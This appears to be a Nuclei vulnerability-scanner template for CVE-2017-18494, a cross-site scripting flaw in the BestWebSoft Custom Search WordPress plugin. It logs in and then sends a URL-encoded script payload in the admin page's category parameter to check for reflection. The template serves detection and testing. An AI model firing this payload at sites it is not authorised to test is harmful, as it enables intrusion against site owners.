id: CVE-2017-18494

info:
  name: Custom Search by BestWebSoft < 1.36 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The custom-search-plugin plugin before 1.36 for WordPress has multiple XSS issues.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18494
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18494
    - https://wordpress.org/plugins/custom-search-plugin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18494
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.36857
    cpe: cpe:2.3:a:bestwebsoft:custom_search:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: custom_search
    framework: wordpress
    publicwww-query: "/wp-content/plugins/custom-search-plugin/"
  tags: cve,cve2017,wordpress,bws-custom-search,wpscan,wp-plugin,xss,authenticated,bestwebsoft

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "Custom Search by")'
        condition: and
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